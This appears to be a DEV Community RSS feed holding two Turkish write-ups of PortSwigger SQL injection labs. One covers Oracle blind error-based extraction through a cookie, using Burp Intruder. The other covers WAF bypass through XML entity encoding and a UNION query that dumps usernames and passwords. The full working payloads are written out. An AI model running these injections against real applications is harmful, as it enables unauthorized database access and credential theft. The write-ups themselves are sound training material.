<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yunus Emre Dere</title>
    <description>The latest articles on DEV Community by Yunus Emre Dere (@yunusemredere16).</description>
    <link>https://dev.to/yunusemredere16</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3578561%2Fc844e290-a2dd-4f7a-8917-3bdbbd71dd73.png</url>
      <title>DEV Community: Yunus Emre Dere</title>
      <link>https://dev.to/yunusemredere16</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yunusemredere16"/>
    <language>en</language>
    <item>
      <title>Blind SQL Injection (Oracle): Intruder ile Administrator Şifresini Karakter Karakter Çıkarmak</title>
      <dc:creator>Yunus Emre Dere</dc:creator>
      <pubDate>Thu, 08 Oct 2026 18:09:07 +0000</pubDate>
      <link>https://dev.to/yunusemredere16/blind-sql-injection-oracle-intruder-ile-administrator-sifresini-karakter-karakter-cikarmak-339</link>
      <guid>https://dev.to/yunusemredere16/blind-sql-injection-oracle-intruder-ile-administrator-sifresini-karakter-karakter-cikarmak-339</guid>
      <description>&lt;p&gt;HTTP cevabında sorgumuz sebebiyle oluşan herhangi bir farklılık yoksa ve uygulama SQL Injection'a karşı savunmasızsa Blind SQL Injection kullanabiliriz.&lt;/p&gt;

&lt;p&gt;Bu yazı, Burp Suite ve Intruder kullanılarak Cookie tarafında TrackingId sorgulamasından faydalanarak administrator şifresini veritabanından nasıl karakter karakter tespit edip şifreyi bulabileceğimizi ve bu süreçte karşılaştığım zorlukları anlatıyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Tanıtımı
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Lab Adı&lt;/strong&gt;: Blind SQL injection with conditional errors&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zorluk&lt;/strong&gt;: Practitioner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Senaryo&lt;/strong&gt;: &lt;code&gt;Cookie:TrackingId&lt;/code&gt; içine payload enjekte ederek karakter karakter administrator hesabının şifresini ele geçirme.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hedef&lt;/strong&gt;: Sisteme &lt;code&gt;administrator&lt;/code&gt; hesabı ile giriş yapma.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Blind SQLI Nedir?
&lt;/h2&gt;

&lt;p&gt;Eğer SQL Injection payload'ımıza rağmen uygulamanın web sayfası kısmında gözle görülebilen bir değişiklik yoksa uygulamayı veritabanı kısmında şartlı koşullarla hata vermeye zorlayarak yine veri elde edebiliriz. Buna Blind SQL Injection denir. UNION attack'tan temel farkı budur.&lt;/p&gt;

&lt;h2&gt;
  
  
  İlk Yaklaşım
&lt;/h2&gt;

&lt;p&gt;İlk olarak koşul durumu tetiklenerek uygulamanın nasıl yanıt vereceğini ölçmemiz gerekir.&lt;/p&gt;

&lt;p&gt;Veritabanı sorgusunda AND durumunu ve &lt;code&gt;SELECT CASE WHEN(condition) THEN 1/0 ELSE 'a' END&lt;/code&gt; yapısını kullanacağız. Fakat burada veri tabanımız Oracle olduğu için uygun sorgu syntax'ini kullanmamız gerek.&lt;br&gt;
bkz.&lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet" rel="noopener noreferrer"&gt;SQLI Cheat Sheet&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;gc2&lt;/span&gt;&lt;span class="s1"&gt;' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="s1"&gt;' END FROM dual) = '&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="s1"&gt;'-- 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yukarıda koşul doğru olursa uygulama &lt;code&gt;divide by zero&lt;/code&gt; hatası verecek ve HTTP Status olarak &lt;code&gt;500&lt;/code&gt; dönecek. Koşulun yanlış olması durumunda ise a=a olacağından sayfamız &lt;code&gt;200&lt;/code&gt; dönecek. Bu aşamada uygulama nasıl tepki veriyor onu görmüş olduk.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nihai Payload ve Oracle'a Özgü Tuzaklar
&lt;/h2&gt;

&lt;p&gt;Birazdan şifreyi belirlemek için &lt;code&gt;SUBSTRING&lt;/code&gt; kullanacağız fakat Oracle'da bu ifade &lt;code&gt;SUBSTR&lt;/code&gt; olarak geçiyor. Ayrıca &lt;code&gt;FROM&lt;/code&gt; kullanımı zorunlu ve alt sorgu tek satır döndürmesi gerekiyor.&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Nihai payload'ımız bu şekilde gözükecek:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;gc2&lt;/span&gt;&lt;span class="s1"&gt;' AND (SELECT CASE WHEN (SUBSTR(password,1,1) = '&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="s1"&gt;') THEN TO_CHAR(1/0) ELSE '&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="s1"&gt;' END FROM users WHERE username = '&lt;/span&gt;&lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="s1"&gt;') = '&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="s1"&gt;'-- 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Burada &lt;strong&gt;FROM users&lt;/strong&gt; diyerek &lt;code&gt;users&lt;/code&gt; tablosunda, &lt;strong&gt;WHERE username = 'administrator'&lt;/strong&gt; diyerek kullanıcı adı &lt;code&gt;administrator&lt;/code&gt; olan satırın, &lt;strong&gt;SUBSTR(password,1,1)&lt;/strong&gt; diyerek &lt;code&gt;password&lt;/code&gt; değişkeninin 1. karakterinden başlayarak, 1. sıradaki karakteri &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt; veya &lt;code&gt;&amp;lt;&lt;/code&gt; operatörleri ile bulmaya çalışıyoruz. 2. karakteri bulmak isteseydik şu şekilde olacaktı: &lt;code&gt;SUBSTR(password,2,1)&lt;/code&gt;.&lt;br&gt;&lt;/p&gt;

&lt;p&gt;AND koşulunun çalışma mantığı şu şekildedir:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;1&lt;/code&gt; &lt;strong&gt;AND&lt;/strong&gt; &lt;code&gt;1&lt;/code&gt; = &lt;code&gt;1&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;1&lt;/code&gt; &lt;strong&gt;AND&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt; = &lt;code&gt;0&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Önce &lt;code&gt;&amp;lt;&lt;/code&gt; ve &lt;code&gt;&amp;gt;&lt;/code&gt; operatörleri ile aralığı daraltabiliriz ve daha sonra &lt;code&gt;=&lt;/code&gt; operatörleri ile karakteri bulabiliriz. Burada dikkat etmemiz ve benim de ilk başta kafamı karıştıran kısım &lt;strong&gt;Karakteri bulduğumuzda sayfa 500 yanıtı ile dönüyor.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Elle Karakter Bulmanın Sınırları
&lt;/h2&gt;

&lt;p&gt;Bu lab uygulamasında şifre 20 karakter olarak rastgele oluşuyor. Bunun gibi örneklerde tek tek bulmak uzunluğuna bağlı olarak saatlere kadar çıkabilir (Ki bu uygulamada sadece küçük harfler ile 0-9 arası rakamlar kullanılmasına rağmen tek tek bulmak 30-45 dakika sürüyor). İşte bu noktada işleri biraz da olsa kolaylaştıran Intruder devreye giriyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Intruder ile Otomatikleştirme
&lt;/h2&gt;

&lt;p&gt;Repeater'a gönderdiğimiz requesti buradan da Intruder'a göndermemiz gerek. Bunu &lt;code&gt;CTRL+i&lt;/code&gt; ile (ya da tümünü seçip send to Intruder ile de) yapabiliriz.&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Karşımıza gelen ekranda &lt;code&gt;SUBSTR(password,1,1) = 'm'&lt;/code&gt; ifadesindeki &lt;strong&gt;m&lt;/strong&gt; değerini mouse yardımı ile seçerek &lt;code&gt;Add&lt;/code&gt; butonuna basmalıyız. Bu kısım bizim &lt;code&gt;payload&lt;/code&gt;ımız. Bu işlemi yaptıktan sonra ekranın sağ tarafında &lt;code&gt;Payloads&lt;/code&gt; sekmesi kullanılabilir hale gelecek. &lt;strong&gt;Eğer sizde tüm request kısmı seçili (mavi) olarak gözüküyorsa &lt;code&gt;Positions&lt;/code&gt; kısmında &lt;code&gt;Clear&lt;/code&gt; butonuna basarak tekrardan seçmeniz gerekir.&lt;/strong&gt; Payload configuration kısmına karakterleri ekleyeceğiz. Bunu tek tek yazıp &lt;code&gt;Add&lt;/code&gt; butonuna basarak da yapabiliriz ya da bir not defterine hepsini yazıp kopyalayıp burada &lt;code&gt;Paste&lt;/code&gt; butonuna basarak da yapıştırabiliriz.&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Tüm bu işlemleri yaptıktan sonra artık saldırıyı başlatabiliriz. Fakat Intruder kısmında bir karakteri bulduktan sonra SUBSTR ifadesinde bulmak istediğimiz karakterin indeksini tekrar değiştirmeliyiz.&lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Start attack&lt;/code&gt; butonuna bastıktan sonra tüm karakterler otomatik olarak denenecek ve &lt;code&gt;=&lt;/code&gt; operatörü kullandığımız için doğru karakterde HTTP responsu &lt;code&gt;500&lt;/code&gt; dönecek.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sonuç: Administrator Olarak Giriş
&lt;/h2&gt;

&lt;p&gt;Şifredeki tüm karakterleri belirledikten sonra artık &lt;strong&gt;administrator&lt;/strong&gt; hesabı ile giriş yapıp lab'ı tamamlayabiliriz.&lt;/p&gt;

&lt;h2&gt;
  
  
  Yaşadığım Hatalar
&lt;/h2&gt;

&lt;p&gt;Bu sorguyu yazarken birkaç şeyi gözden kaçırdım:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Parantezlerin eşleşip eşleşmediğini&lt;/li&gt;
&lt;li&gt;Oracle'a özgü doğru fonksiyon adını (&lt;code&gt;SUBSTRING&lt;/code&gt; yerine &lt;code&gt;SUBSTR&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Intruder sonuç tablosunda, karakter &lt;code&gt;x&lt;/code&gt; olduğunda Request 0'ın da 500 dönmesi beni bir an için şaşırttı, ama Payload sütununa bakınca bunun normal bir durum olduğunu (Request 0'ın da benim payload'da yazdığım karakterle baseline denemesi yaptığını) hızlıca anladım&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Asıl zaman kaybettiren kısım ise farklıydı: tüm karakterleri tek tek topladıktan sonra girişte şifre çalışmadı. Meğer bir pozisyonda küçük bir hata yapmışım (muhtemelen bir karakteri atlamış ya da yanlış pozisyon numarasıyla test etmişim). Şifreyi elle, karakter karakter tekrar kontrol edip eksik/yanlış olan yeri düzelttikten sonra giriş başarılı oldu. Bu da elle takip etmenin ne kadar hataya açık olduğunu bir kez daha gösterdi.&lt;/p&gt;

&lt;h2&gt;
  
  
  Öğrendiklerim
&lt;/h2&gt;

&lt;p&gt;Bu lab uygulamasında SQLI denerken hep görünebilir cevap vermeyeceğini öğrendim. Ayrıca Intruder ile çalışırken bile bu işlemin çok uzun sürdüğünü bu yüzden ileride her indeksi otomatik artıran, payload'daki karakterleri otomatik deneyen ve bütün şifrenin çıktısını elle müdahele etmeden bulan bir script yazmanın ne kadar gerekli olduğunu düşündüm. Bunu önümüzdeki dönemde kesinlikle yapmayı planlıyorum.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>database</category>
      <category>security</category>
      <category>sql</category>
    </item>
    <item>
      <title>PortSwigger: SQL Injection with Filter Bypass via XML Encoding - Çözüm Günlüğüm</title>
      <dc:creator>Yunus Emre Dere</dc:creator>
      <pubDate>Tue, 06 Oct 2026 20:26:32 +0000</pubDate>
      <link>https://dev.to/yunusemredere16/portswigger-sql-injection-with-filter-bypass-via-xml-encoding-cozum-gunlugum-49gj</link>
      <guid>https://dev.to/yunusemredere16/portswigger-sql-injection-with-filter-bypass-via-xml-encoding-cozum-gunlugum-49gj</guid>
      <description>&lt;p&gt;SQL injection sadece URL üzerinden yapılmaz. WAF (Web Application Firewall) kurulu ortamlarda &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;WHERE&lt;/code&gt;, &lt;code&gt;UNION&lt;/code&gt; gibi kelimeler filtrelenir. Bu sebeple JSON, XML gibi payload'lar ve bunların escape sequence'leri kullanılarak bu filtrelemenin önüne geçilebilir.&lt;/p&gt;

&lt;p&gt;Bu yazı, Burp Suite ve Hackvertor kullanılarak XML escape sequence tekniğiyle WAF duvarını aşıp administrator şifresine veritabanından nasıl ulaşılabileceğini ve bu süreçte karşılaştığım zorlukları anlatıyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Tanıtımı
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Lab adı:&lt;/strong&gt; SQL injection with filter bypass via XML encoding&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Senaryo:&lt;/strong&gt; Sitenin stock check özelliğinde SQL injection zafiyeti bulmak&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hedef:&lt;/strong&gt; &lt;code&gt;users&lt;/code&gt; tablosundan administrator kullanıcısının bilgilerini almak ve giriş yapmak&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  İlk Deneme ve Karşılaşılan Engel
&lt;/h2&gt;

&lt;p&gt;Burp Suite'i bu lab'da ilk kez kullandım, tamamen tecrübesizdim. Düz bir payload denedim fakat WAF "Attack detected" diyerek engelledi.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Request:
&lt;/span&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/product/stock&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0a15003b03d9ad3480d93547002a00f1.web-security-academy.net&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=[REDACTED]&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/xml&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&amp;lt;productId&amp;gt;&lt;/span&gt;1 UNION SELECT NULL --&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Response:
&lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;403&lt;/span&gt; &lt;span class="ne"&gt;Forbidden&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/json; charset=utf-8&lt;/span&gt;

&lt;span class="s2"&gt;"Attack detected"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Araç Kurulumu
&lt;/h2&gt;

&lt;p&gt;Kullanımı öğrenirken birkaç kafa karışıklığı yaşadım. Önce &lt;code&gt;Extensions&lt;/code&gt; sekmesinden Hackvertor eklentisini kurdum. Sonra &lt;code&gt;Proxy&lt;/code&gt; sekmesinde yeni bir browser açıp lab'ın linkini buraya yapıştırdım.&lt;/p&gt;

&lt;p&gt;Bir istek gönderdiğimde, isteğin Repeater'a otomatik gitmediğini fark ettim. &lt;code&gt;Proxy&lt;/code&gt; ekranı sadece geçmiş istekleri gösteriyor, burada request body üzerinde değişiklik yapılamıyor. İsteği değiştirebilmek için önce onu &lt;code&gt;Repeater&lt;/code&gt; sekmesine göndermem gerekti: isteğe sağ tıklayıp &lt;code&gt;Send to Repeater&lt;/code&gt; seçeneğine tıkladım (klavye kısayolu: &lt;code&gt;Ctrl+R&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Çözüm Mantığı
&lt;/h2&gt;

&lt;p&gt;WAF, gönderdiğimiz isteği sunucuya ulaşmadan önce tarar ve ham metnin içinde &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;UNION&lt;/code&gt; gibi bilinen tehlikeli kelimeleri arar. Buna &lt;strong&gt;imza tabanlı tespit (signature-based detection)&lt;/strong&gt; denir.&lt;/p&gt;

&lt;p&gt;Biz burada bu kelimeleri otomatik olarak XML decimal karşılıklarına çeviriyoruz (&lt;code&gt;&amp;amp;#85;&amp;amp;#78;&amp;amp;#73;&amp;amp;#79;&amp;amp;#78;...&lt;/code&gt;). Bu sayede &lt;code&gt;SELECT&lt;/code&gt; yerine onun decimal karşılıkları gidiyor ve WAF aradığı kelimeleri bulamadığı için isteği sorunsuz sanıyor.&lt;/p&gt;

&lt;p&gt;Fakat istek sunucuya ulaştığında, uygulama veriyi bir XML belgesi olarak işliyor. XML standardının kuralı gereği bir XML parser, &lt;code&gt;&amp;amp;#85;&lt;/code&gt; gibi karakter referanslarını otomatik olarak gerçek karaktere çevirmek zorunda. Böylece arka planda tekrar düz &lt;code&gt;SELECT&lt;/code&gt; kelimesi oluşuyor. Bu çözülmüş hal SQL sorgusuna gönderiliyor ve veritabanı onu normal bir sorgu gibi çalıştırıyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Adım Adım Çözüm
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;productId&amp;gt;&lt;/code&gt; kısmına payload'ımızı yazacağız:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;1 UNION SELECT NULL --
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fakat bu şekilde düz yazarsak WAF'a takılır ve yukarıdaki &lt;code&gt;Attack detected&lt;/code&gt; hatasını alırız. Bu yüzden Hackvertor ile &lt;code&gt;&amp;lt;@dec_entities&amp;gt;&amp;lt;/@dec_entities&amp;gt;&lt;/code&gt; etiketlerini kullanmamız gerekiyor. Bunun için Repeater'da sorgumuzu seçip sağ tık menüsünden &lt;code&gt;Extensions &amp;gt; Hackvertor &amp;gt; Encode &amp;gt; dec_entities&lt;/code&gt; seçeneğine tıklıyoruz. Bu işlemden sonra satır şu şekilde görünmeli:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&amp;lt;productId&amp;gt;&lt;/span&gt;1 &lt;span class="err"&gt;&amp;lt;&lt;/span&gt;@dec_entities&amp;gt;UNION SELECT NULL --&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;/@dec_entities&amp;gt;&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Request (kolon sayısı testi):
&lt;/span&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/product/stock&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0a15003b03d9ad3480d93547002a00f1.web-security-academy.net&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=[REDACTED]&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/xml&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&amp;lt;productId&amp;gt;&lt;/span&gt;1 &lt;span class="err"&gt;&amp;lt;&lt;/span&gt;@dec_entities&amp;gt;UNION SELECT NULL --&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;/@dec_entities&amp;gt;&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Response:
&lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/plain; charset=utf-8&lt;/span&gt;

164 units
null
775 units
311 units
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bu adımda tabloda kaç kolon olduğunu öğreniyoruz. Bu örnekte 1 kolon var.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Response&lt;/code&gt; kısmında sırasıyla &lt;code&gt;null, 295 units...&lt;/code&gt; diye devam eden kısımdaki &lt;code&gt;null&lt;/code&gt;, bizim &lt;code&gt;UNION&lt;/code&gt; sorgumuzla gelen değer. Eğer 2 kere &lt;code&gt;NULL&lt;/code&gt; yazsaydık bu değer tabloda görünmeyecekti, bu da tablonun 2 kolona sahip olmadığı anlamına gelirdi. Yani sorgudaki &lt;code&gt;NULL&lt;/code&gt; sayısını, değer tabloda görünene kadar artırmamız gerekiyor.&lt;/p&gt;

&lt;p&gt;Bu örnekte geçerli değil, fakat birden fazla kolon olsaydı, getirmek istediğimiz değerin (bu örnekte username ve password, yani ikisi de string) hangi kolona karşılık geldiğini de tespit etmemiz gerekirdi. Bunu, &lt;code&gt;NULL&lt;/code&gt;'lardan birinin yerine &lt;code&gt;'a'&lt;/code&gt; yazarak anlayabiliriz. &lt;code&gt;UNION&lt;/code&gt;'ın çalışması için iki şart sağlanmalı:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kolon sayısı aynı olmalı&lt;/li&gt;
&lt;li&gt;Getirmek istediğimiz veri türü, karşılık geldiği kolonun veri türüyle aynı olmalı&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Artık &lt;code&gt;users&lt;/code&gt; tablosundan &lt;code&gt;username&lt;/code&gt; ve &lt;code&gt;password&lt;/code&gt; bilgilerini getirebiliriz. Ama burada bir sorun var: getirmek istediğimiz 2 kolon, ana tablodaysa sadece 1 kolon var. Bu yüzden iki kolondaki verileri tek kolonda birleştirmemiz gerekiyor. Bunun için &lt;code&gt;||&lt;/code&gt; operatörünü kullanıyoruz (bkz. &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet" rel="noopener noreferrer"&gt;PortSwigger SQL injection cheat sheet&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Son satırımız şöyle olmalı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&amp;lt;productId&amp;gt;&lt;/span&gt;1 &lt;span class="err"&gt;&amp;lt;&lt;/span&gt;@dec_entities&amp;gt;UNION SELECT username||'~'||password FROM users --&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;/@dec_entities&amp;gt;&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Request (veri çekme):
&lt;/span&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/product/stock&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0a15003b03d9ad3480d93547002a00f1.web-security-academy.net&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=[REDACTED]&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/xml&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&amp;lt;productId&amp;gt;&lt;/span&gt;1 &lt;span class="err"&gt;&amp;lt;&lt;/span&gt;@dec_entities&amp;gt;UNION SELECT username||'~'||password FROM users --&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;/@dec_entities&amp;gt;&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Response:
&lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/plain; charset=utf-8&lt;/span&gt;

775 units
311 units
wiener~ldl5jjiarqm2r40gyvv5
administrator~p05gs1mypnq3sazi3n8a
164 units
carlos~yhlvkwchc0kfap33gp1e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response kısmında kullanıcı adları ve şifreler görünüyor. Buradan administrator'ın şifresini alıp sitede giriş yapıyorum ve lab tamamlanıyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Yaşadığım Hatalar
&lt;/h2&gt;

&lt;p&gt;Bu lab'ı çözerken birkaç kez yanlış yola saptım, bunları da paylaşmak isterim:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Önce Burp'ün &lt;code&gt;Proxy&lt;/code&gt; ekranında isteği değiştirmeye çalıştım, ama orası sadece geçmişi gösteriyor, düzenleme yapılamıyor. Bunu &lt;code&gt;Repeater&lt;/code&gt;'a göndermem gerektiğini anlamam biraz zaman aldı.&lt;/li&gt;
&lt;li&gt;İlk denemelerimde &lt;code&gt;UNION SELECT&lt;/code&gt; yerine kelimeleri yanlış sırada yazdım, bu da anlamsız hatalar almama sebep oldu.&lt;/li&gt;
